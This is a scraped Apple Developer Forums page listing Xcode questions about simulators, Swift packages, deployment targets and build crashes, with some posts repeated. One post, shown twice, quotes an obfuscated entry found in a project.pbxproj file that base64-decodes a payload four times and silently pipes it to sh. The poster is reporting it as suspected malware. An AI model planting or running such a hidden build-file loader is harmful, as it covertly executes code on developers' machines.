Build, test, and submit your app using Xcode, Apple's integrated development environment.

Posts under Xcode tag

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Resolving a "Simulator runtime is not available" error
Some Macs recently received a macOS system update which disabled the simulator runtimes used by Xcode 15, including the simulators for iOS, tvOS, watchOS, and visionOS. If your Mac received this update, you will receive the following error message and will be unable to use the simulator: The com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime is not available. Domain: com.apple.CoreSimulator.SimError Code: 401 Failure Reason: runtime profile not found using "System" match policy Recovery Suggestion: Download the com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime from the Xcode To resume using the simulator, please reboot your Mac. After rebooting, check Xcode Preferences → Platforms to ensure that the simulator runtime you would like to use is still installed. If it is missing, use the Get button to download it again. The Xcode 15.3 Release Notes are also updated with this information.
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May ’24
Xcode 27 beta: "Missing package product" for a Swift Package in a registry
I have a project that builds fine in macOS 26 with Xcode 26. On macOS 27 b4 and Xcode beta, the same project can't build because of a framework that should be pulled from a Swift Package from a package-registry (named Registry, for example below), hosted on JFrog. I have the registry set up and have the token in keychain. The resolution of the packages works. But when I build, I get error like this: error: Missing package product 'Registry.Package_Package.Package' (in target 'Target' from project 'Project') . The real package should just be 'Registry.Package'. Any help with that? Is it a bug?
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10h
Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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Coding Assistant autocomplete breaks with many Swift packages
I’m seeing a reproducible issue in both Xcode 26 and Xcode 27 where Coding Assistant appears to stop autocompleting when a project contains a larger number of Swift Package dependencies. Symptoms: Autocomplete suggestions from Coding Assistant stop appearing. File targeting with @ stops working. The issue typically appears shortly after opening the project If I start a brand-new chat immediately after opening the project, Coding Assistant sometimes works briefly before failing Reducing or removing Swift Package dependencies fixes the issue I’ve created a sample project that reproduces the problem and have also filed Feedback Assistant report: FB23341243 The issue seems related to package count or project complexity rather than any specific package, although I haven’t yet identified the exact threshold that triggers it. Has anyone else run into this or has anyone found a workaround?
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18h
OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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Command Line Tools bundled Python 3.9.6 flagged by vulnerability scanner
We need guidance regarding the Python runtime bundled with Apple Command Line Tools. Environment: macOS Tahoe 26.5.2 (25F84) Xcode 26.6 (17F113) Device type: Mac Command Line Tools Python path: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/ Version confirmed locally with: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/bin/python3 --version Output: Python 3.9.6 Our vulnerability-management platform, Qualys, reports this Apple Command Line Tools Python runtime as vulnerable under QID 387170, referencing CVE-2022-4303 and CVE-2023-0286. The detection points to: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app My understanding is that this runtime is bundled and managed by Apple as part of Command Line Tools, and that manually replacing or modifying this framework is not a supported remediation path. Installing a separate standalone Python version also does not remediate the finding at this Apple-managed path. Could Apple or the community confirm the supported approach for this scenario? Specifically: Is Python 3.9.6 intentionally bundled with the current Command Line Tools release for this macOS/Xcode version? Has Apple applied security fixes or backports to this bundled Python runtime that are not reflected in the upstream Python version number? Is updating Command Line Tools/Xcode the only supported remediation method for this component? Is manually replacing or modifying the bundled Python framework unsupported? Is there any known mitigation or official guidance for vulnerability-management exceptions while waiting for an Apple-provided update? I have also filed this through Feedback Assistant: FB23893693. Any official Apple guidance or reference to existing documentation would be very helpful, as we need to provide an auditable response to our internal security and audit teams.
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22h
Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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Getting Gemini 3.5 or 3.6 Flash to work with Xcode 27 Beta
I've been trying for months to get Gemini 3.5 Flash to work with Xcode 27 Beta (1-3) agentic coding but have failed. Xcode currently uses Gemini CLI v0.42.0 from last year, so it can't call Gemini 3.5 Flash even though all that needs to change is a few characters in the API call. Gemini users are currently forced to choose between 3.1 Pro and 3.1 Flash Preview--both weren't the best choices two months ago, but with the release of 3.6 Flash which is better at coding that 3.1 Pro and miles cheaper, these choices are now unsuitable for any serious workload. I live in Hong Kong, where OpenAI and Anthropic services aren't offered, so Google is the only (native) AI provider for Xcode agentic coding. The cost issue from funneling all the work into 3.1 Pro is terrible especially with some agent bugs that have yet to be ironed out. Given Apple's close partnership with Google on AI, I'm genuinely surprised that after 4 Betas we're still using a Gemini CLI from 2025 that forces users to choose between two very unappealing models. Xcode is basically forcing Google users to switch to OpenAI/Anthropic. Questions: I'd like to know if this will be fixed soon and whether Google users should expect slower updates (i.e. be forced to use older models). Does anyone know of any workarounds?
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Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
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1d
I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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Feature Request: Allow External AI Coding Agents to Access Xcode via MCP, CLI, or an Automation API
The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.
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SKTestSession.buyProduct(identifier: options:) throws error
Hi, Overview I am trying to write a unit test case to buy a storekit product. SKTestSession.buyProduct(identifier: options:) throws the error StoreKit.StoreKitError.notEntitled Testcase Code @Test func example() async throws { let session = try SKTestSession(configurationFileNamed: "VehicleStore") session.disableDialogs = true session.clearTransactions() do { let transaction = try await session.buyProduct(identifier: "nonconsumable.car", options: []) print(transaction) } catch { // Throws StoreKit.StoreKitError.notEntitled print("Error: \(error)") } } Storekit configuration file Note In-App purchases capability is added StoreKit configuration file is used in testcase Environment: macOS 26.5.2 (25F84) Xcode 26.6 (17F113)
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Xcode 27 release notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported
The release notes at https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported. Which one is correct, Xcode or the release notes? I created FB23514411.
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5d
SwiftUI Instruments Template doesn't work
I am profiling a simple SwiftUI test app on my new iPhone through my new MacBook Pro and everything is version 26.2 (iOS, macOS, Xcode). I run Instruments with the SwiftUI template using all of the default settings and get absolutely zero data after interacting with the app for about 20 seconds. Using the Time Profiler template yields trace data. Trying the SwiftUI template again with the sample Landmarks app has the same issue as my app.
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Xcode 26 failed in the real-device debugging process
Development environment: MacBook pro Apple M1 macOS Tahoe 26.2 (25C56) Xcode 26.x iPhone 6 Plus / iOS 12.4.4 Exception description: After I upgraded to Xcode 26, my iPhone 6 Plus had a system version of 12.4.4. I was unable to perform real-device debugging, whether for existing projects or new ones. The error message from Xcode was as follows: Could not launch “xxx” Domain: IDEDebugSessionErrorDomain Code: 3 Failure Reason: Cannot launch '/private/var/containers/Bundle/Application/A44062C1-32F5-4346-B13C-FC3F39EAF7A1/xxx.app': Unspecified Even though I have already added device support for the iOS 12.4 Has Xcode 26 stopped supporting the debugging of any devices running iOS 12 system?
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Resolving a "Simulator runtime is not available" error
Some Macs recently received a macOS system update which disabled the simulator runtimes used by Xcode 15, including the simulators for iOS, tvOS, watchOS, and visionOS. If your Mac received this update, you will receive the following error message and will be unable to use the simulator: The com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime is not available. Domain: com.apple.CoreSimulator.SimError Code: 401 Failure Reason: runtime profile not found using "System" match policy Recovery Suggestion: Download the com.apple.CoreSimulator.SimRuntime.iOS-17-2 simulator runtime from the Xcode To resume using the simulator, please reboot your Mac. After rebooting, check Xcode Preferences → Platforms to ensure that the simulator runtime you would like to use is still installed. If it is missing, use the Get button to download it again. The Xcode 15.3 Release Notes are also updated with this information.
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10k
Activity
May ’24
Xcode 27 beta: "Missing package product" for a Swift Package in a registry
I have a project that builds fine in macOS 26 with Xcode 26. On macOS 27 b4 and Xcode beta, the same project can't build because of a framework that should be pulled from a Swift Package from a package-registry (named Registry, for example below), hosted on JFrog. I have the registry set up and have the token in keychain. The resolution of the packages works. But when I build, I get error like this: error: Missing package product 'Registry.Package_Package.Package' (in target 'Target' from project 'Project') . The real package should just be 'Registry.Package'. Any help with that? Is it a bug?
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24
Activity
10h
Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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111
Activity
16h
Coding Assistant autocomplete breaks with many Swift packages
I’m seeing a reproducible issue in both Xcode 26 and Xcode 27 where Coding Assistant appears to stop autocompleting when a project contains a larger number of Swift Package dependencies. Symptoms: Autocomplete suggestions from Coding Assistant stop appearing. File targeting with @ stops working. The issue typically appears shortly after opening the project If I start a brand-new chat immediately after opening the project, Coding Assistant sometimes works briefly before failing Reducing or removing Swift Package dependencies fixes the issue I’ve created a sample project that reproduces the problem and have also filed Feedback Assistant report: FB23341243 The issue seems related to package count or project complexity rather than any specific package, although I haven’t yet identified the exact threshold that triggers it. Has anyone else run into this or has anyone found a workaround?
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100
Activity
18h
OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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203
Activity
20h
Command Line Tools bundled Python 3.9.6 flagged by vulnerability scanner
We need guidance regarding the Python runtime bundled with Apple Command Line Tools. Environment: macOS Tahoe 26.5.2 (25F84) Xcode 26.6 (17F113) Device type: Mac Command Line Tools Python path: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/ Version confirmed locally with: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/bin/python3 --version Output: Python 3.9.6 Our vulnerability-management platform, Qualys, reports this Apple Command Line Tools Python runtime as vulnerable under QID 387170, referencing CVE-2022-4303 and CVE-2023-0286. The detection points to: /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app My understanding is that this runtime is bundled and managed by Apple as part of Command Line Tools, and that manually replacing or modifying this framework is not a supported remediation path. Installing a separate standalone Python version also does not remediate the finding at this Apple-managed path. Could Apple or the community confirm the supported approach for this scenario? Specifically: Is Python 3.9.6 intentionally bundled with the current Command Line Tools release for this macOS/Xcode version? Has Apple applied security fixes or backports to this bundled Python runtime that are not reflected in the upstream Python version number? Is updating Command Line Tools/Xcode the only supported remediation method for this component? Is manually replacing or modifying the bundled Python framework unsupported? Is there any known mitigation or official guidance for vulnerability-management exceptions while waiting for an Apple-provided update? I have also filed this through Feedback Assistant: FB23893693. Any official Apple guidance or reference to existing documentation would be very helpful, as we need to provide an auditable response to our internal security and audit teams.
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81
Activity
22h
Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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296
Activity
1d
Getting Gemini 3.5 or 3.6 Flash to work with Xcode 27 Beta
I've been trying for months to get Gemini 3.5 Flash to work with Xcode 27 Beta (1-3) agentic coding but have failed. Xcode currently uses Gemini CLI v0.42.0 from last year, so it can't call Gemini 3.5 Flash even though all that needs to change is a few characters in the API call. Gemini users are currently forced to choose between 3.1 Pro and 3.1 Flash Preview--both weren't the best choices two months ago, but with the release of 3.6 Flash which is better at coding that 3.1 Pro and miles cheaper, these choices are now unsuitable for any serious workload. I live in Hong Kong, where OpenAI and Anthropic services aren't offered, so Google is the only (native) AI provider for Xcode agentic coding. The cost issue from funneling all the work into 3.1 Pro is terrible especially with some agent bugs that have yet to be ironed out. Given Apple's close partnership with Google on AI, I'm genuinely surprised that after 4 Betas we're still using a Gemini CLI from 2025 that forces users to choose between two very unappealing models. Xcode is basically forcing Google users to switch to OpenAI/Anthropic. Questions: I'd like to know if this will be fixed soon and whether Google users should expect slower updates (i.e. be forced to use older models). Does anyone know of any workarounds?
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56
Activity
1d
Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
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1d
I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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60
Activity
1d
UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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51
Activity
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Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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Xcode stuck generating localization comments
Xcode 26.5 stucks on Localization Generating Comments: Running on macOS Tahoe 26.5 When this happens, Xcode does not add new keys, although enabled: The only (known) workaround is to restart Xcode. Same happened with Xcode 26.4, 26.4.1 on macOS 26.4.1.
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Feature Request: Allow External AI Coding Agents to Access Xcode via MCP, CLI, or an Automation API
The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.
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SKTestSession.buyProduct(identifier: options:) throws error
Hi, Overview I am trying to write a unit test case to buy a storekit product. SKTestSession.buyProduct(identifier: options:) throws the error StoreKit.StoreKitError.notEntitled Testcase Code @Test func example() async throws { let session = try SKTestSession(configurationFileNamed: "VehicleStore") session.disableDialogs = true session.clearTransactions() do { let transaction = try await session.buyProduct(identifier: "nonconsumable.car", options: []) print(transaction) } catch { // Throws StoreKit.StoreKitError.notEntitled print("Error: \(error)") } } Storekit configuration file Note In-App purchases capability is added StoreKit configuration file is used in testcase Environment: macOS 26.5.2 (25F84) Xcode 26.6 (17F113)
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Xcode 27 release notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported
The release notes at https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported. Which one is correct, Xcode or the release notes? I created FB23514411.
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SwiftUI Instruments Template doesn't work
I am profiling a simple SwiftUI test app on my new iPhone through my new MacBook Pro and everything is version 26.2 (iOS, macOS, Xcode). I run Instruments with the SwiftUI template using all of the default settings and get absolutely zero data after interacting with the app for about 20 seconds. Using the Time Profiler template yields trace data. Trying the SwiftUI template again with the sample Landmarks app has the same issue as my app.
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Xcode 26 failed in the real-device debugging process
